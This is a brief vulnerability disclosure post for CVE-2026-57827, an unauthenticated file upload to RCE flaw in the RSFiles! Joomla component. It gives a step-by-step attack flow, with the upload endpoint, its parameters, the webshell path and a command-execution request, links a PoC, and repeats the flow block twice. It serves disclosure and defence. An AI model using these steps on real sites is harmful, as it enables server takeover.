CVE-2026-57827 — RSFiles! Joomla Component Unauthenticated File Upload RCE
💻 Attack Flow
1. Attacker crafts PHP webshell (plain PHP, no polyglot needed)
2. POST /index.php?option=com_rsfiles&task=rsfiles.upload
file= (multipart, PHP payload)
folder=&overwrite=1
3. Joomla frontend controller dispatches to rsfiles.upload()
→ Skips rsfiles.checkupload (pre-flight) entirely
→ No permission check → No CSRF token check → No file-type check
→ JFile::upload() accepts any file type
4. File saved to /downloads/{shell_name}.php (web root)
.htaccess protection is opt-in, OFF by default
5. GET /downloads/{shell_name}.php?t=TOKEN&c=id
6. PHP executes → RCE as www-data
💻 PoC link: https://github.com/shinthink/cve-2026-57827
CVE-2026-57827 is a critical-severity (CVSS 9.8) unauthenticated arbitrary file upload vulnerability in RSFiles! (com_rsfiles), a widely used file-manager and download component for Joomla, versions < 1.17.12.
The vulnerability exploits a split-controller design flaw: RSFiles! separates its upload into two frontend tasks — a pre-flight check (permission gate + extension allow-list) and a write method (saves file to disk). The write method can be called directly, bypassing the pre-flight check entirely. No authentication, no CSRF token required.
💻 Attack Flow
1. Attacker crafts PHP webshell (plain PHP, no polyglot needed)
2. POST /index.php?option=com_rsfiles&task=rsfiles.upload
file= (multipart, PHP payload)
folder=&overwrite=1
3. Joomla frontend controller dispatches to rsfiles.upload()
→ Skips rsfiles.checkupload (pre-flight) entirely
→ No permission check → No CSRF token check → No file-type check
→ JFile::upload() accepts any file type
4. File saved to /downloads/{shell_name}.php (web root)
.htaccess protection is opt-in, OFF by default
5. GET /downloads/{shell_name}.php?t=TOKEN&c=id
6. PHP executes → RCE as www-data
💻 PoC link: https://github.com/shinthink/cve-2026-57827